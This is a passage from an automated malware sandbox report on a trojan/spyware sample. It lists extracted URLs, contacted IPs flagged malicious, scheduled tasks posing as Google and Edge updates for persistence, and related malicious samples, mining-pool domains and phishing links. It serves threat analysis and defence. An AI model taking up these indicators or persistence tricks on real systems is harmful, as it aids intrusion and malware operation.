http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.470747356.000001FA00001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/X	GoogleUpdate.exe, 00000033.00000003.495414472.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.435587466.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.474893620.00000000007F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.peer2profit.com/lY:	GoogleUpdate.exe, 00000033.00000003.511460584.00000000007F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/getA3	GoogleUpdate.exe, 00000033.00000003.407817226.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.406610047.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.417663402.00000000007F4000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.415206083.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	cfBJlHsOsz.exe, cfBJlHsOsz.exe, 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmp, vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000022.00000002.477819375.000001FA00208000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/get0	GoogleUpdate.exe, 00000033.00000002.593295784.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.423596351.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000022.00000002.477819375.000001FA00208000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000022.00000002.551873641.000001FA10063000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/get&	GoogleUpdate.exe, 00000033.00000002.593295784.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.423596351.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	vbc.exe, 00000002.00000002.378374784.00000000085CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.367944612.000000000772E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	vbc.exe, 00000002.00000002.382774792.00000000087D5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.375890183.0000000008498000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364210639.00000000075E9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.379197715.000000000862B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.377429699.000000000854C000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362530961.000000000755C000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.378094735.00000000085AD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.359277016.00000000074CF000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.377201901.000000000852F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.375650356.000000000847B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.374512584.000000000841A000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.382548505.00000000087B8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.374049271.00000000083FD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.381862409.0000000008757000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.378374784.00000000085CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000022.00000002.477819375.000001FA00208000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/getU	GoogleUpdate.exe, 00000033.00000002.593295784.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.423596351.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.idpminic.org44k	vbc.exe, 00000002.00000002.367642594.00000000076F2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.367245633.00000000076D6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id4onh	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.peer2profit.com/(	GoogleUpdate.exe, 00000033.00000003.402003376.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.404498396.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000002.592008882.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.423326260.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000022.00000002.477819375.000001FA00208000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/getB	GoogleUpdate.exe, 00000033.00000002.593295784.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.423596351.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/get=	GoogleUpdate.exe, 00000033.00000002.593295784.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.423596351.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id5Response	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/r2profit.com/hy	GoogleUpdate.exe, 00000033.00000003.461402214.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.463851591.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.457013278.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.455163141.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.459548371.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id10Response	vbc.exe, 00000002.00000002.364412910.00000000075F6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	vbc.exe, 00000002.00000002.364412910.00000000075F6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.idpminic.org	vbc.exe, 00000002.00000002.367315019.00000000076DA000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.367642594.00000000076F2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.367725459.0000000007707000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.367245633.00000000076D6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false		high
https://waapi.peer2profit.com/api/proxy/nodes/get	GoogleUpdate.exe, 00000033.00000003.482844836.000000000084B000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.484833752.0000000000849000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.486876833.0000000000849000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.475990124.000000000084B000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.488708761.0000000000847000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.471802009.000000000084C000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.477556037.0000000000849000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.488862262.0000000000849000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.486660818.0000000000847000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.484656721.0000000000847000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19Responseh	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id13Response	vbc.exe, 00000002.00000002.364412910.00000000075F6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/hyf:r5	GoogleUpdate.exe, 00000033.00000003.431176320.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.433366925.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id22ResponselEh	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	vbc.exe, 00000002.00000002.382774792.00000000087D5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.375890183.0000000008498000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364210639.00000000075E9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.379197715.000000000862B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.377429699.000000000854C000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362530961.000000000755C000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.378094735.00000000085AD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.359277016.00000000074CF000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.377201901.000000000852F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.375650356.000000000847B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.374512584.000000000841A000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.382548505.00000000087B8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.374049271.00000000083FD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.381862409.0000000008757000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.378374784.00000000085CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/hy.::5	GoogleUpdate.exe, 00000033.00000003.461402214.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/l3:	GoogleUpdate.exe, 00000033.00000003.422505726.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.417663402.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id22Response	vbc.exe, 00000002.00000002.364412910.00000000075F6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	vbc.exe, 00000002.00000002.382774792.00000000087D5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.375890183.0000000008498000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364210639.00000000075E9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.379197715.000000000862B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.377429699.000000000854C000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362530961.000000000755C000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.378094735.00000000085AD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.359277016.00000000074CF000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.377201901.000000000852F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.375650356.000000000847B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.374512584.000000000841A000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.382548505.00000000087B8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.374049271.00000000083FD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.381862409.0000000008757000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.378374784.00000000085CA000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.19.175.163	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
172.66.43.60	api.peer2profit.com	United States	13335	CLOUDFLARENETUS	true
37.220.87.2	unknown	Russian Federation	41070	ARTEM-CATV-ASRU	true
66.235.200.147	idpminic.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	753337
Start date and time:	2022-11-24 16:56:06 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	cfBJlHsOsz.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	65
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@92/27@6/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 70% (good quality ratio 61.8%) Quality average: 73% Quality standard deviation: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 140 Number of non-executed functions: 99
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, WerFault.exe, SgrmBroker.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92, 20.189.173.21, 52.182.143.212
Excluded domains from analysis (whitelisted): fs.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, watson.telemetry.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:57:10	API Interceptor	1x Sleep call for process: WerFault.exe modified
16:57:30	API Interceptor	76x Sleep call for process: vbc.exe modified
16:57:35	API Interceptor	1x Sleep call for process: brave.exe modified
16:57:37	Task Scheduler	Run new task: MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca} path: C:\Users\user\AppData\Local\Google\ofg.exe
16:57:39	API Interceptor	178x Sleep call for process: powershell.exe modified
16:57:42	API Interceptor	3x Sleep call for process: chrome.exe modified
16:57:44	Task Scheduler	Run new task: GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe} path: C:\Users\user\AppData\Local\Google\chrome.exe
16:57:58	Task Scheduler	Run new task: GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5} path: C:\Users\user\AppData\Local\Google\chrome.exe
16:58:04	API Interceptor	1067x Sleep call for process: GoogleUpdate.exe modified
16:58:35	Task Scheduler	Run new task: GoogleUpdateTaskMachineQC path: C:\Program Files\Google\Chrome\updater.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
162.19.175.163	EK2JI99VDm.exe	Get hash	malicious	Browse
172.66.43.60	6iWK0k820U.exe	Get hash	malicious	Browse
	E3BaMFIxln.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	Et5O2B7DgL.exe	Get hash	malicious	Browse
	EK2JI99VDm.exe	Get hash	malicious	Browse
	xchUUtf3km.exe	Get hash	malicious	Browse
	a7sbIsZgQU.exe	Get hash	malicious	Browse
	KHGOzMiMEc.exe	Get hash	malicious	Browse
	NJD5jNzN1k.exe	Get hash	malicious	Browse
	YQ1u1r2mGC.exe	Get hash	malicious	Browse
	vPMLS1HVsL.exe	Get hash	malicious	Browse
	F9JyRaGSFC.exe	Get hash	malicious	Browse
	4EDB9CEDA2B49B682D3E30C4925610F81FFCC7D2B46A2.exe	Get hash	malicious	Browse
	1D9DD4AE9D1BA20DBF36549110C16150525122F3AA7FD.exe	Get hash	malicious	Browse
	CE349E565197AA1AFAF25F21B5CDBB80880B96B34800F.exe	Get hash	malicious	Browse
	1A292CC8DA0DBDC4608018679F60E2EEB070C06374FDD.exe	Get hash	malicious	Browse
	DFAF9FE4937AB169D48157BAE84DEF3DD608A21E93390.exe	Get hash	malicious	Browse
	00EEA3C9A8874E89799C1D74E42328598B1DC94FF374C.exe	Get hash	malicious	Browse
	6C56B6A178C64ADEF96A65FAB45B58A7378B17262420A.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
pool.hashvault.pro	SecuriteInfo.com.Trojan.Siggen18.63785.2847.13207.exe	Get hash	malicious	Browse	45.76.89.70
	l5orrOFBzy.exe	Get hash	malicious	Browse	45.76.89.70
	file.exe	Get hash	malicious	Browse	45.76.89.70
	file.exe	Get hash	malicious	Browse	95.179.241.203
	file.exe	Get hash	malicious	Browse	45.76.89.70
	FZrpWLVGZT.exe	Get hash	malicious	Browse	95.179.241.203
	2Yhq6CHu0a.exe	Get hash	malicious	Browse	95.179.241.203
	E3BaMFIxln.exe	Get hash	malicious	Browse	95.179.241.203
	mqZSIT6ZSG.exe	Get hash	malicious	Browse	45.76.89.70
	z1cfNNxfT1.exe	Get hash	malicious	Browse	95.179.241.203
	free_donate.exe	Get hash	malicious	Browse	45.76.89.70
	free_donate.exe	Get hash	malicious	Browse	95.179.241.203
	Loader.exe	Get hash	malicious	Browse	45.76.89.70
	NETSvc6.exe	Get hash	malicious	Browse	45.76.89.70
	AJ46HzaAxk.exe	Get hash	malicious	Browse	45.76.89.70
	KIDDIONS Menu.exe	Get hash	malicious	Browse	95.179.241.203
	ndkqXR67bn.exe	Get hash	malicious	Browse	125.253.92.50
	8iTXwpHCHb.exe	Get hash	malicious	Browse	199.247.19.116
	1D9DD4AE9D1BA20DBF36549110C16150525122F3AA7FD.exe	Get hash	malicious	Browse	136.244.80.197
	ahraujX2G3.exe	Get hash	malicious	Browse	199.247.19.116
api.peer2profit.com	FKN6uh7y01.exe	Get hash	malicious	Browse	172.66.40.196
	6iWK0k820U.exe	Get hash	malicious	Browse	172.66.43.60
	SecuriteInfo.com.Trojan.Siggen18.63785.2847.13207.exe	Get hash	malicious	Browse	172.66.40.196
	RTKnv6MTnw.exe	Get hash	malicious	Browse	172.66.43.60
	Mvt8bzQ4Je.exe	Get hash	malicious	Browse	172.66.40.196
	E3BaMFIxln.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.40.196
	fbRudpXdRE.exe	Get hash	malicious	Browse	172.66.40.196
	Et5O2B7DgL.exe	Get hash	malicious	Browse	172.66.43.60
	EK2JI99VDm.exe	Get hash	malicious	Browse	172.66.43.60
	EK2JI99VDm.exe	Get hash	malicious	Browse	172.66.40.196
	LTxl97QUra.exe	Get hash	malicious	Browse	172.66.40.196
	xchUUtf3km.exe	Get hash	malicious	Browse	172.66.43.60
	EAD73Pz4eg.exe	Get hash	malicious	Browse	172.66.40.196
	seH4VXPMOf.exe	Get hash	malicious	Browse	172.66.40.196

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Win64.Evo-gen.19989.26276.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	162.159.134.233
	https://mailsrver.contributes.rest/databases.html?home=mmcdonald@glm.ca	Get hash	malicious	Browse	172.67.194.220
	http://ductrelendolite.ga/page-52694/	Get hash	malicious	Browse	172.67.145.60
	file.exe	Get hash	malicious	Browse	162.159.134.233
	https://www.cexpr.es/c?n=3230005694527383	Get hash	malicious	Browse	104.17.24.14
	https://mailsrver.contributes.rest/databases.html?home=test.test@bbc.co.uk	Get hash	malicious	Browse	172.67.194.220
	https://www.taskade.com/d/28J2734nwU2nEwU9?share=view&view=WgHdcBXQ2NCoV5LY&as=list	Get hash	malicious	Browse	172.66.40.90
	https://4293857.debournigerialtd.com/#YWxleGFuZGVyLmhhZ2VuQG1hbi1lcy5jb20=	Get hash	malicious	Browse	104.26.4.30
